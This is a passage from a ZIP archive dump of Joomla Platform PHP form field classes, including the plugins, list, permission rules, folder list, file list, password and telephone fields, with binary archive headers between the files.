plugins $db = JFactory::getDbo(); $query = $db->getQuery(true) ->select('element AS value, name AS text') ->from('#__extensions') ->where('folder = ' . $db->quote($folder)) ->where('enabled = 1') ->order('ordering, name'); if ((string) $this->element['useaccess'] === 'true') { $groups = implode(',', JFactory::getUser()->getAuthorisedViewLevels()); $query->where($db->quoteName('access') . ' IN (' . $groups . ')'); } $options = $db->setQuery($query)->loadObjectList(); $lang = JFactory::getLanguage(); $useGlobal = $this->element['useglobal']; if ($useGlobal) { $globalValue = JFactory::getConfig()->get($this->fieldname); } foreach ($options as $i => $item) { $source = JPATH_PLUGINS . '/' . $folder . '/' . $item->value; $extension = 'plg_' . $folder . '_' . $item->value; $lang->load($extension . '.sys', JPATH_ADMINISTRATOR, null, false, true) || $lang->load($extension . '.sys', $source, null, false, true); $options[$i]->text = JText::_($item->text); // If we are using useglobal update the use global value text with the plugin text. if ($useGlobal && isset($parentOptions[0]) && $item->value === $globalValue) { $text = JText::_($extension); $parentOptions[0]->text = JText::sprintf('JGLOBAL_USE_GLOBAL_VALUE', ($text === '' || $text === $extension ? $item->value : $text)); } } } else { JLog::add(JText::_('JFRAMEWORK_FORM_FIELDS_PLUGINS_ERROR_FOLDER_EMPTY'), JLog::WARNING, 'jerror'); } return array_merge($parentOptions, $options); } } PK�\8V��joomla/form/fields/list.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Form * * @copyright (C) 2009 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * Form Field class for the Joomla Platform. * Supports a generic list of options. * * @since 1.7.0 */ class JFormFieldList extends JFormField { /** * The form field type. * * @var string * @since 1.7.0 */ protected $type = 'List'; /** * Method to get the field input markup for a generic list. * Use the multiple attribute to enable multiselect. * * @return string The field input markup. * * @since 3.7.0 */ protected function getInput() { $html = array(); $attr = ''; // Initialize some field attributes. $attr .= !empty($this->class) ? ' class="' . $this->class . '"' : ''; $attr .= !empty($this->size) ? ' size="' . $this->size . '"' : ''; $attr .= $this->multiple ? ' multiple' : ''; $attr .= $this->required ? ' required aria-required="true"' : ''; $attr .= $this->autofocus ? ' autofocus' : ''; // To avoid user's confusion, readonly="true" should imply disabled="true". if ((string) $this->readonly == '1' || (string) $this->readonly == 'true' || (string) $this->disabled == '1'|| (string) $this->disabled == 'true') { $attr .= ' disabled="disabled"'; } // Initialize JavaScript field attributes. $attr .= $this->onchange ? ' onchange="' . $this->onchange . '"' : ''; // Get the field options. $options = (array) $this->getOptions(); // Create a read-only list (no name) with hidden input(s) to store the value(s). if ((string) $this->readonly == '1' || (string) $this->readonly == 'true') { $html[] = JHtml::_('select.genericlist', $options, '', trim($attr), 'value', 'text', $this->value, $this->id); // E.g. form field type tag sends $this->value as array if ($this->multiple && is_array($this->value)) { if (!count($this->value)) { $this->value[] = ''; } foreach ($this->value as $value) { $html[] = '<input type="hidden" name="' . $this->name . '" value="' . htmlspecialchars($value, ENT_COMPAT, 'UTF-8') . '"/>'; } } else { $html[] = '<input type="hidden" name="' . $this->name . '" value="' . htmlspecialchars($this->value, ENT_COMPAT, 'UTF-8') . '"/>'; } } else // Create a regular list passing the arguments in an array. { $listoptions = array(); $listoptions['option.key'] = 'value'; $listoptions['option.text'] = 'text'; $listoptions['list.select'] = $this->value; $listoptions['id'] = $this->id; $listoptions['list.translate'] = false; $listoptions['option.attr'] = 'optionattr'; $listoptions['list.attr'] = trim($attr); $html[] = JHtml::_('select.genericlist', $options, $this->name, $listoptions); } return implode($html); } /** * Method to get the field options. * * @return array The field option objects. * * @since 3.7.0 */ protected function getOptions() { $fieldname = preg_replace('/[^a-zA-Z0-9_\-]/', '_', $this->fieldname); $options = array(); foreach ($this->element->xpath('option') as $option) { // Filter requirements if ($requires = explode(',', (string) $option['requires'])) { // Requires multilanguage if (in_array('multilanguage', $requires) && !JLanguageMultilang::isEnabled()) { continue; } // Requires associations if (in_array('associations', $requires) && !JLanguageAssociations::isEnabled()) { continue; } // Requires adminlanguage if (in_array('adminlanguage', $requires) && !JModuleHelper::isAdminMultilang()) { continue; } // Requires vote plugin if (in_array('vote', $requires) && !JPluginHelper::isEnabled('content', 'vote')) { continue; } } $value = (string) $option['value']; $text = trim((string) $option) != '' ? trim((string) $option) : $value; $disabled = (string) $option['disabled']; $disabled = ($disabled == 'true' || $disabled == 'disabled' || $disabled == '1'); $disabled = $disabled || ($this->readonly && $value != $this->value); $checked = (string) $option['checked']; $checked = ($checked == 'true' || $checked == 'checked' || $checked == '1'); $selected = (string) $option['selected']; $selected = ($selected == 'true' || $selected == 'selected' || $selected == '1'); $tmp = array( 'value' => $value, 'text' => JText::alt($text, $fieldname), 'disable' => $disabled, 'class' => (string) $option['class'], 'selected' => ($checked || $selected), 'checked' => ($checked || $selected), ); // Set some event handler attributes. But really, should be using unobtrusive js. $tmp['onclick'] = (string) $option['onclick']; $tmp['onchange'] = (string) $option['onchange']; if ((string) $option['showon']) { $tmp['optionattr'] = " data-showon='" . json_encode( JFormHelper::parseShowOnConditions((string) $option['showon'], $this->formControl, $this->group) ) . "'"; } // Add the option object to the result set. $options[] = (object) $tmp; } if ($this->element['useglobal']) { $tmp = new stdClass; $tmp->value = ''; $tmp->text = JText::_('JGLOBAL_USE_GLOBAL'); $component = JFactory::getApplication()->input->getCmd('option'); // Get correct component for menu items if ($component == 'com_menus') { $link = $this->form->getData()->get('link'); $uri = new JUri($link); $component = $uri->getVar('option', 'com_menus'); } $params = JComponentHelper::getParams($component); $value = $params->get($this->fieldname); // Try with global configuration if (is_null($value)) { $value = JFactory::getConfig()->get($this->fieldname); } // Try with menu configuration if (is_null($value) && JFactory::getApplication()->input->getCmd('option') == 'com_menus') { $value = JComponentHelper::getParams('com_menus')->get($this->fieldname); } if (!is_null($value)) { $value = (string) $value; foreach ($options as $option) { if ($option->value === $value) { $value = $option->text; break; } } $tmp->text = JText::sprintf('JGLOBAL_USE_GLOBAL_VALUE', $value); } array_unshift($options, $tmp); } reset($options); return $options; } /** * Method to add an option to the list field. * * @param string $text Text/Language variable of the option. * @param array $attributes Array of attributes ('name' => 'value' format) * * @return JFormFieldList For chaining. * * @since 3.7.0 */ public function addOption($text, $attributes = array()) { if ($text && $this->element instanceof SimpleXMLElement) { $child = $this->element->addChild('option', $text); foreach ($attributes as $name => $value) { $child->addAttribute($name, $value); } } return $this; } /** * Method to get certain otherwise inaccessible properties from the form field object. * * @param string $name The property name for which to get the value. * * @return mixed The property value or null. * * @since 3.7.0 */ public function __get($name) { if ($name == 'options') { return $this->getOptions(); } return parent::__get($name); } } PK�\����9�9joomla/form/fields/rules.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Form * * @copyright (C) 2009 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * Form Field class for the Joomla Platform. * Field for assigning permissions to groups for a given asset * * @see JAccess * @since 1.7.0 */ class JFormFieldRules extends JFormField { /** * The form field type. * * @var string * @since 1.7.0 */ protected $type = 'Rules'; /** * The section. * * @var string * @since 3.2 */ protected $section; /** * The component. * * @var string * @since 3.2 */ protected $component; /** * The assetField. * * @var string * @since 3.2 */ protected $assetField; /** * Method to get certain otherwise inaccessible properties from the form field object. * * @param string $name The property name for which to get the value. * * @return mixed The property value or null. * * @since 3.2 */ public function __get($name) { switch ($name) { case 'section': case 'component': case 'assetField': return $this->$name; } return parent::__get($name); } /** * Method to set certain otherwise inaccessible properties of the form field object. * * @param string $name The property name for which to set the value. * @param mixed $value The value of the property. * * @return void * * @since 3.2 */ public function __set($name, $value) { switch ($name) { case 'section': case 'component': case 'assetField': $this->$name = (string) $value; break; default: parent::__set($name, $value); } } /** * Method to attach a JForm object to the field. * * @param SimpleXMLElement $element The SimpleXMLElement object representing the `<field>` tag for the form field object. * @param mixed $value The form field value to validate. * @param string $group The field name group control value. This acts as an array container for the field. * For example if the field has name="foo" and the group value is set to "bar" then the * full field name would end up being "bar[foo]". * * @return boolean True on success. * * @see JFormField::setup() * @since 3.2 */ public function setup(SimpleXMLElement $element, $value, $group = null) { $return = parent::setup($element, $value, $group); if ($return) { $this->section = $this->element['section'] ? (string) $this->element['section'] : ''; $this->component = $this->element['component'] ? (string) $this->element['component'] : ''; $this->assetField = $this->element['asset_field'] ? (string) $this->element['asset_field'] : 'asset_id'; } return $return; } /** * Method to get the field input markup for Access Control Lists. * Optionally can be associated with a specific component and section. * * @return string The field input markup. * * @since 1.7.0 * @todo: Add access check. */ protected function getInput() { JHtml::_('bootstrap.tooltip'); // Add Javascript for permission change JHtml::_('script', 'system/permissions.js', array('version' => 'auto', 'relative' => true)); // Load JavaScript message titles JText::script('ERROR'); JText::script('WARNING'); JText::script('NOTICE'); JText::script('MESSAGE'); // Add strings for JavaScript error translations. JText::script('JLIB_JS_AJAX_ERROR_CONNECTION_ABORT'); JText::script('JLIB_JS_AJAX_ERROR_NO_CONTENT'); JText::script('JLIB_JS_AJAX_ERROR_OTHER'); JText::script('JLIB_JS_AJAX_ERROR_PARSE'); JText::script('JLIB_JS_AJAX_ERROR_TIMEOUT'); // Initialise some field attributes. $section = $this->section; $assetField = $this->assetField; $component = empty($this->component) ? 'root.1' : $this->component; // Current view is global config? $isGlobalConfig = $component === 'root.1'; // Get the actions for the asset. $actions = JAccess::getActions($component, $section); // Iterate over the children and add to the actions. foreach ($this->element->children() as $el) { if ($el->getName() == 'action') { $actions[] = (object) array( 'name' => (string) $el['name'], 'title' => (string) $el['title'], 'description' => (string) $el['description'], ); } } // Get the asset id. // Note that for global configuration, com_config injects asset_id = 1 into the form. $assetId = $this->form->getValue($assetField); $newItem = empty($assetId) && $isGlobalConfig === false && $section !== 'component'; $parentAssetId = null; // If the asset id is empty (component or new item). if (empty($assetId)) { // Get the component asset id as fallback. $db = JFactory::getDbo(); $query = $db->getQuery(true) ->select($db->quoteName('id')) ->from($db->quoteName('#__assets')) ->where($db->quoteName('name') . ' = ' . $db->quote($component)); $db->setQuery($query); $assetId = (int) $db->loadResult(); /** * @to do: incorrect info * When creating a new item (not saving) it uses the calculated permissions from the component (item <-> component <-> global config). * But if we have a section too (item <-> section(s) <-> component <-> global config) this is not correct. * Also, currently it uses the component permission, but should use the calculated permissions for achild of the component/section. */ } // If not in global config we need the parent_id asset to calculate permissions. if (!$isGlobalConfig) { // In this case we need to get the component rules too. $db = JFactory::getDbo(); $query = $db->getQuery(true) ->select($db->quoteName('parent_id')) ->from($db->quoteName('#__assets')) ->where($db->quoteName('id') . ' = ' . $assetId); $db->setQuery($query); $parentAssetId = (int) $db->loadResult(); } // Full width format. // Get the rules for just this asset (non-recursive). $assetRules = JAccess::getAssetRules($assetId, false, false); // Get the available user groups. $groups = $this->getUserGroups(); // Ajax request data. $ajaxUri = JRoute::_('index.php?option=com_config&task=config.store&format=json&' . JSession::getFormToken() . '=1'); // Prepare output $html = array(); // Description $html[] = '<p class="rule-desc">' . JText::_('JLIB_RULES_SETTINGS_DESC') . '</p>'; // Begin tabs $html[] = '<div class="tabbable tabs-left" data-ajaxuri="' . $ajaxUri . '" id="permissions-sliders">'; // Building tab nav $html[] = '<ul class="nav nav-tabs">'; foreach ($groups as $group) { // Initial Active Tab $active = (int) $group->value === 1 ? ' class="active"' : ''; $html[] = '<li' . $active . '>'; $html[] = '<a href="#permission-' . $group->value . '" data-toggle="tab">'; $html[] = JLayoutHelper::render('joomla.html.treeprefix', array('level' => $group->level + 1)) . $group->text; $html[] = '</a>'; $html[] = '</li>'; } $html[] = '</ul>'; $html[] = '<div class="tab-content">'; // Start a row for each user group. foreach ($groups as $group) { // Initial Active Pane $active = (int) $group->value === 1 ? ' active' : ''; $html[] = '<div class="tab-pane' . $active . '" id="permission-' . $group->value . '">'; $html[] = '<table class="table table-striped">'; $html[] = '<thead>'; $html[] = '<tr>'; $html[] = '<th class="actions" id="actions-th' . $group->value . '">'; $html[] = '<span class="acl-action">' . JText::_('JLIB_RULES_ACTION') . '</span>'; $html[] = '</th>'; $html[] = '<th class="settings" id="settings-th' . $group->value . '">'; $html[] = '<span class="acl-action">' . JText::_('JLIB_RULES_SELECT_SETTING') . '</span>'; $html[] = '</th>'; $html[] = '<th id="aclactionth' . $group->value . '">'; $html[] = '<span class="acl-action">' . JText::_('JLIB_RULES_CALCULATED_SETTING') . '</span>'; $html[] = '</th>'; $html[] = '</tr>'; $html[] = '</thead>'; $html[] = '<tbody>'; // Check if this group has super user permissions $isSuperUserGroup = JAccess::checkGroup($group->value, 'core.admin'); foreach ($actions as $action) { $html[] = '<tr>'; $html[] = '<td headers="actions-th' . $group->value . '">'; $html[] = '<label for="' . $this->id . '_' . $action->name . '_' . $group->value . '" class="hasTooltip" title="' . JHtml::_('tooltipText', $action->title, $action->description) . '">'; $html[] = JText::_($action->title); $html[] = '</label>'; $html[] = '</td>'; $html[] = '<td headers="settings-th' . $group->value . '">'; $html[] = '<select onchange="sendPermissions.call(this, event)" data-chosen="true" class="input-small novalidate"' . ' name="' . $this->name . '[' . $action->name . '][' . $group->value . ']"' . ' id="' . $this->id . '_' . $action->name . '_' . $group->value . '"' . ' title="' . strip_tags( JText::sprintf( 'JLIB_RULES_SELECT_ALLOW_DENY_GROUP', JText::_($action->title), htmlspecialchars(trim($group->text), ENT_QUOTES, 'UTF-8') ) ) . '">'; /** * Possible values: * null = not set means inherited * false = denied * true = allowed */ // Get the actual setting for the action for this group. $assetRule = $newItem === false ? $assetRules->allow($action->name, $group->value) : null; // Build the dropdowns for the permissions sliders // The parent group has "Not Set", all children can rightly "Inherit" from that. $html[] = '<option value=""' . ($assetRule === null ? ' selected="selected"' : '') . '>' . JText::_(empty($group->parent_id) && $isGlobalConfig ? 'JLIB_RULES_NOT_SET' : 'JLIB_RULES_INHERITED') . '</option>'; $html[] = '<option value="1"' . ($assetRule === true ? ' selected="selected"' : '') . '>' . JText::_('JLIB_RULES_ALLOWED') . '</option>'; $html[] = '<option value="0"' . ($assetRule === false ? ' selected="selected"' : '') . '>' . JText::_('JLIB_RULES_DENIED') . '</option>'; $html[] = '</select>  '; $html[] = '<span id="icon_' . $this->id . '_' . $action->name . '_' . $group->value . '"' . '></span>'; $html[] = '</td>'; // Build the Calculated Settings column. $html[] = '<td headers="aclactionth' . $group->value . '">'; $result = array(); // Get the group, group parent id, and group global config recursive calculated permission for the chosen action. $inheritedGroupRule = JAccess::checkGroup((int) $group->value, $action->name, $assetId); $inheritedGroupParentAssetRule = !empty($parentAssetId) ? JAccess::checkGroup($group->value, $action->name, $parentAssetId) : null; $inheritedParentGroupRule = !empty($group->parent_id) ? JAccess::checkGroup($group->parent_id, $action->name, $assetId) : null; // Current group is a Super User group, so calculated setting is "Allowed (Super User)". if ($isSuperUserGroup) { $result['class'] = 'label label-success'; $result['text'] = '<span class="icon-lock icon-white"></span>' . JText::_('JLIB_RULES_ALLOWED_ADMIN'); } // Not super user. else { // First get the real recursive calculated setting and add (Inherited) to it. // If recursive calculated setting is "Denied" or null. Calculated permission is "Not Allowed (Inherited)". if ($inheritedGroupRule === null || $inheritedGroupRule === false) { $result['class'] = 'label label-important'; $result['text'] = JText::_('JLIB_RULES_NOT_ALLOWED_INHERITED'); } // If recursive calculated setting is "Allowed". Calculated permission is "Allowed (Inherited)". else { $result['class'] = 'label label-success'; $result['text'] = JText::_('JLIB_RULES_ALLOWED_INHERITED'); } // Second part: Overwrite the calculated permissions labels if there is an explicit permission in the current group. /** * @to do: incorrect info * If a component has a permission that doesn't exists in global config (ex: frontend editing in com_modules) by default * we get "Not Allowed (Inherited)" when we should get "Not Allowed (Default)". */ // If there is an explicit permission "Not Allowed". Calculated permission is "Not Allowed". if ($assetRule === false) { $result['class'] = 'label label-important'; $result['text'] = JText::_('JLIB_RULES_NOT_ALLOWED'); } // If there is an explicit permission is "Allowed". Calculated permission is "Allowed". elseif ($assetRule === true) { $result['class'] = 'label label-success'; $result['text'] = JText::_('JLIB_RULES_ALLOWED'); } // Third part: Overwrite the calculated permissions labels for special cases. // Global configuration with "Not Set" permission. Calculated permission is "Not Allowed (Default)". if (empty($group->parent_id) && $isGlobalConfig === true && $assetRule === null) { $result['class'] = 'label label-important'; $result['text'] = JText::_('JLIB_RULES_NOT_ALLOWED_DEFAULT'); } /** * Component/Item with explicit "Denied" permission at parent Asset (Category, Component or Global config) configuration. * Or some parent group has an explicit "Denied". * Calculated permission is "Not Allowed (Locked)". */ elseif ($inheritedGroupParentAssetRule === false || $inheritedParentGroupRule === false) { $result['class'] = 'label label-important'; $result['text'] = '<span class="icon-lock icon-white"></span>' . JText::_('JLIB_RULES_NOT_ALLOWED_LOCKED'); } } $html[] = '<span class="' . $result['class'] . '">' . $result['text'] . '</span>'; $html[] = '</td>'; $html[] = '</tr>'; } $html[] = '</tbody>'; $html[] = '</table></div>'; } $html[] = '</div></div>'; $html[] = '<div class="clr"></div>'; $html[] = '<div class="alert">'; if ($section === 'component' || !$section) { $html[] = JText::alt('JLIB_RULES_SETTING_NOTES', $component); } else { $html[] = JText::alt('JLIB_RULES_SETTING_NOTES_ITEM', $component . '_' . $section); } $html[] = '</div>'; return implode("\n", $html); } /** * Get a list of the user groups. * * @return array * * @since 1.7.0 */ protected function getUserGroups() { $options = JHelperUsergroups::getInstance()->getAll(); foreach ($options as &$option) { $option->value = $option->id; $option->text = $option->title; } return array_values($options); } } PK�\O�eztt!joomla/form/fields/folderlist.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Form * * @copyright (C) 2010 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; jimport('joomla.filesystem.folder'); jimport('joomla.filesystem.path'); JFormHelper::loadFieldClass('list'); /** * Supports an HTML select list of folder * * @since 1.7.0 */ class JFormFieldFolderList extends JFormFieldList { /** * The form field type. * * @var string * @since 1.7.0 */ protected $type = 'FolderList'; /** * The filter. * * @var string * @since 3.2 */ protected $filter; /** * The exclude. * * @var string * @since 3.2 */ protected $exclude; /** * The recursive. * * @var string * @since 3.6 */ protected $recursive; /** * The hideNone. * * @var boolean * @since 3.2 */ protected $hideNone = false; /** * The hideDefault. * * @var boolean * @since 3.2 */ protected $hideDefault = false; /** * The directory. * * @var string * @since 3.2 */ protected $directory; /** * Method to get certain otherwise inaccessible properties from the form field object. * * @param string $name The property name for which to get the value. * * @return mixed The property value or null. * * @since 3.2 */ public function __get($name) { switch ($name) { case 'filter': case 'exclude': case 'recursive': case 'hideNone': case 'hideDefault': case 'directory': return $this->$name; } return parent::__get($name); } /** * Method to set certain otherwise inaccessible properties of the form field object. * * @param string $name The property name for which to set the value. * @param mixed $value The value of the property. * * @return void * * @since 3.2 */ public function __set($name, $value) { switch ($name) { case 'filter': case 'directory': case 'exclude': case 'recursive': $this->$name = (string) $value; break; case 'hideNone': case 'hideDefault': $value = (string) $value; $this->$name = ($value === 'true' || $value === $name || $value === '1'); break; default: parent::__set($name, $value); } } /** * Method to attach a JForm object to the field. * * @param SimpleXMLElement $element The SimpleXMLElement object representing the `<field>` tag for the form field object. * @param mixed $value The form field value to validate. * @param string $group The field name group control value. This acts as an array container for the field. * For example if the field has name="foo" and the group value is set to "bar" then the * full field name would end up being "bar[foo]". * * @return boolean True on success. * * @see JFormField::setup() * @since 3.2 */ public function setup(SimpleXMLElement $element, $value, $group = null) { $return = parent::setup($element, $value, $group); if ($return) { $this->filter = (string) $this->element['filter']; $this->exclude = (string) $this->element['exclude']; $recursive = (string) $this->element['recursive']; $this->recursive = ($recursive == 'true' || $recursive == 'recursive' || $recursive == '1'); $hideNone = (string) $this->element['hide_none']; $this->hideNone = ($hideNone == 'true' || $hideNone == 'hideNone' || $hideNone == '1'); $hideDefault = (string) $this->element['hide_default']; $this->hideDefault = ($hideDefault == 'true' || $hideDefault == 'hideDefault' || $hideDefault == '1'); // Get the path in which to search for file options. $this->directory = (string) $this->element['directory']; } return $return; } /** * Method to get the field options. * * @return array The field option objects. * * @since 1.7.0 */ protected function getOptions() { $options = array(); $path = $this->directory; if (!is_dir($path)) { if (is_dir(JPATH_ROOT . '/' . $path)) { $path = JPATH_ROOT . '/' . $path; } else { return; } } $path = JPath::clean($path); // Prepend some default options based on field attributes. if (!$this->hideNone) { $options[] = JHtml::_('select.option', '-1', JText::alt('JOPTION_DO_NOT_USE', preg_replace('/[^a-zA-Z0-9_\-]/', '_', $this->fieldname))); } if (!$this->hideDefault) { $options[] = JHtml::_('select.option', '', JText::alt('JOPTION_USE_DEFAULT', preg_replace('/[^a-zA-Z0-9_\-]/', '_', $this->fieldname))); } // Get a list of folders in the search path with the given filter. $folders = JFolder::folders($path, $this->filter, $this->recursive, true); // Build the options list from the list of folders. if (is_array($folders)) { foreach ($folders as $folder) { // Remove the root part and the leading / $folder = trim(str_replace($path, '', $folder), '/'); // Check to see if the file is in the exclude mask. if ($this->exclude) { if (preg_match(chr(1) . $this->exclude . chr(1), $folder)) { continue; } } $options[] = JHtml::_('select.option', $folder, $folder); } } // Merge any additional options in the XML definition. $options = array_merge(parent::getOptions(), $options); return $options; } } PK�\��akk%joomla/form/fields/sessionhandler.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Form * * @copyright (C) 2009 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; JFormHelper::loadFieldClass('list'); /** * Form Field class for the Joomla Platform. * Provides a select list of session handler options. * * @since 1.7.0 */ class JFormFieldSessionHandler extends JFormFieldList { /** * The form field type. * * @var string * @since 1.7.0 */ protected $type = 'SessionHandler'; /** * Method to get the session handler field options. * * @return array The field option objects. * * @since 1.7.0 */ protected function getOptions() { $options = array(); // Get the options from JSession. foreach (JSession::getStores() as $store) { $options[] = JHtml::_('select.option', $store, JText::_('JLIB_FORM_VALUE_SESSION_' . $store), 'value', 'text'); } // Merge any additional options in the XML definition. $options = array_merge(parent::getOptions(), $options); return $options; } } PK�\>ϑ���joomla/form/fields/password.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Form * * @copyright (C) 2009 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * Form Field class for the Joomla Platform. * Text field for passwords * * @link http://www.w3.org/TR/html-markup/input.password.html#input.password * @note Two password fields may be validated as matching using JFormRuleEquals * @since 1.7.0 */ class JFormFieldPassword extends JFormField { /** * Attach an unlock button and disable the input field, * also remove the value from the output. * * @var boolean * @since 3.9.24 */ protected $lock = false; /** * The form field type. * * @var string * @since 1.7.0 */ protected $type = 'Password'; /** * The threshold of password field. * * @var integer * @since 3.2 */ protected $threshold = 66; /** * The allowable maxlength of password. * * @var integer * @since 3.2 */ protected $maxLength; /** * Whether to attach a password strength meter or not. * * @var boolean * @since 3.2 */ protected $meter = false; /** * Name of the layout being used to render the field * * @var string * @since 3.7 */ protected $layout = 'joomla.form.field.password'; /** * Method to get certain otherwise inaccessible properties from the form field object. * * @param string $name The property name for which to get the value. * * @return mixed The property value or null. * * @since 3.2 */ public function __get($name) { switch ($name) { case 'lock': case 'threshold': case 'maxLength': case 'meter': return $this->$name; } return parent::__get($name); } /** * Method to set certain otherwise inaccessible properties of the form field object. * * @param string $name The property name for which to set the value. * @param mixed $value The value of the property. * * @return void * * @since 3.2 */ public function __set($name, $value) { $value = (string) $value; switch ($name) { case 'maxLength': case 'threshold': $this->$name = $value; break; case 'lock': case 'meter': $this->$name = ($value === 'true' || $value === $name || $value === '1'); break; default: parent::__set($name, $value); } } /** * Method to attach a JForm object to the field. * * @param SimpleXMLElement $element The SimpleXMLElement object representing the `<field>` tag for the form field object. * @param mixed $value The form field value to validate. * @param string $group The field name group control value. This acts as an array container for the field. * For example if the field has name="foo" and the group value is set to "bar" then the * full field name would end up being "bar[foo]". * * @return boolean True on success. * * @see JFormField::setup() * @since 3.2 */ public function setup(SimpleXMLElement $element, $value, $group = null) { $return = parent::setup($element, $value, $group); if ($return) { $lock = (string) $this->element['lock']; $this->lock = ($lock == 'true' || $lock == 'on' || $lock == '1'); $this->maxLength = $this->element['maxlength'] ? (int) $this->element['maxlength'] : 99; $this->threshold = $this->element['threshold'] ? (int) $this->element['threshold'] : 66; $meter = (string) $this->element['strengthmeter']; $this->meter = ($meter == 'true' || $meter == 'on' || $meter == '1'); } return $return; } /** * Method to get the field input markup for password. * * @return string The field input markup. * * @since 1.7.0 */ protected function getInput() { // Trim the trailing line in the layout file return rtrim($this->getRenderer($this->layout)->render($this->getLayoutData()), PHP_EOL); } /** * Method to get the data to be passed to the layout for rendering. * * @return array * * @since 3.7 */ protected function getLayoutData() { $data = parent::getLayoutData(); // Initialize some field attributes. $extraData = array( 'lock' => $this->lock, 'maxLength' => $this->maxLength, 'meter' => $this->meter, 'threshold' => $this->threshold, ); return array_merge($data, $extraData); } } PK�\䊒���"joomla/form/fields/accesslevel.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Form * * @copyright (C) 2009 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; JFormHelper::loadFieldClass('list'); /** * Form Field class for the Joomla Platform. * Provides a list of access levels. Access levels control what users in specific * groups can see. * * @see JAccess * @since 1.7.0 */ class JFormFieldAccessLevel extends JFormFieldList { /** * The form field type. * * @var string * @since 1.7.0 */ protected $type = 'AccessLevel'; /** * Method to get the field input markup. * * @return string The field input markup. * * @since 1.7.0 */ protected function getInput() { $attr = ''; // Initialize some field attributes. $attr .= !empty($this->class) ? ' class="' . $this->class . '"' : ''; $attr .= $this->disabled ? ' disabled' : ''; $attr .= !empty($this->size) ? ' size="' . $this->size . '"' : ''; $attr .= $this->multiple ? ' multiple' : ''; $attr .= $this->required ? ' required aria-required="true"' : ''; $attr .= $this->autofocus ? ' autofocus' : ''; // Initialize JavaScript field attributes. $attr .= $this->onchange ? ' onchange="' . $this->onchange . '"' : ''; // Get the field options. $options = $this->getOptions(); return JHtml::_('access.level', $this->name, $this->value, $attr, $options, $this->id); } } PK�\R�QNNjoomla/form/fields/tel.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Form * * @copyright (C) 2011 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; JFormHelper::loadFieldClass('text'); /** * Form Field class for the Joomla Platform. * Supports a text field telephone numbers. * * @link http://www.w3.org/TR/html-markup/input.tel.html * @see JFormRuleTel for telephone number validation * @see JHtmlTel for rendering of telephone numbers * @since 1.7.0 */ class JFormFieldTel extends JFormFieldText { /** * The form field type. * * @var string * @since 1.7.0 */ protected $type = 'Tel'; /** * Name of the layout being used to render the field * * @var string * @since 3.7.0 */ protected $layout = 'joomla.form.field.tel'; /** * Method to get the field input markup. * * @return string The field input markup. * * @since 3.2 */ protected function getInput() { // Trim the trailing line in the layout file return rtrim($this->getRenderer($this->layout)->render($this->getLayoutData()), PHP_EOL); } /** * Method to get the data to be passed to the layout for rendering. * * @return array * * @since 3.7.0 */ protected function getLayoutData() { $data = parent::getLayoutData(); // Initialize some field attributes. $maxLength = !empty($this->maxLength) ? ' maxlength="' . $this->maxLength . '"' : ''; $extraData = array( 'maxLength' => $maxLength, ); return array_merge($data, $extraData); } } PK�\`[Thjoomla/form/fields/filelist.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Form * * @copyright (C) 2010 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; jimport('joomla.filesystem.folder'); jimport('joomla.filesystem.file'); jimport('joomla.filesystem.path'); JFormHelper::loadFieldClass('list'); /** * Supports an HTML select list of files * * @since 1.7.0 */ class JFormFieldFileList extends JFormFieldList { /** * The form field type. * * @var string * @since 1.7.0 */ protected $type = 'FileList'; /** * The filter. * * @var string * @since 3.2 */ protected $filter; /** * The exclude. * * @var string * @since 3.2 */ protected $exclude; /** * The hideNone. * * @var boolean * @since 3.2 */ protected $hideNone = false; /** * The hideDefault. * * @var boolean * @since 3.2 */ protected $hideDefault = false; /** * The stripExt. * * @var boolean * @since 3.2 */ protected $stripExt = false; /** * The directory. * * @var string * @since 3.2 */ protected $directory; /** * Method to get certain otherwise inaccessible properties from the form field object. * * @param string $name The property name for which to get the value. * * @return mixed The property value or null. * * @since 3.2 */ public function __get($name) { switch ($name) { case 'filter': case 'exclude': case 'hideNone': case 'hideDefault': case 'stripExt': case 'directory': return $this->$name; } return parent::__get($name); } /** * Method to set certain otherwise inaccessible properties of the form field object. * * @param string $name The property name for which to set the value. * @param mixed $value The value of the property. * * @return void * * @since 3.2 */ public function __set($name, $value) { switch ($name) { case 'filter': case 'directory': case 'exclude': $this->$name = (string) $value; break; case 'hideNone': case 'hideDefault': case 'stripExt': $value = (string) $value; $this->$name = ($value === 'true' || $value === $name || $value === '1'); break; default: parent::__set($name, $value); } } /** * Method to attach a JForm object to the field. * * @param SimpleXMLElement $element The SimpleXMLElement object representing the `<field>` tag for the form field object. * @param mixed $value The form field value to validate. * @param string $group The field name group control value. This acts as an array container for the field. * For example if the field has name="foo" and the group value is set to "bar" then the * full field name would end up being "bar[foo]". * * @return boolean True on success. * * @see JFormField::setup() * @since 3.2 */ public function setup(SimpleXMLElement $element, $value, $group = null) { $return = parent::setup($element, $value, $group); if ($return) { $this->filter = (string) $this->element['filter']; $this->exclude = (string) $this->element['exclude']; $hideNone = (string) $this->element['hide_none']; $this->hideNone = ($hideNone == 'true' || $hideNone == 'hideNone' || $hideNone == '1'); $hideDefault = (string) $this->element['hide_default']; $this->hideDefault = ($hideDefault == 'true' || $hideDefault == 'hideDefault' || 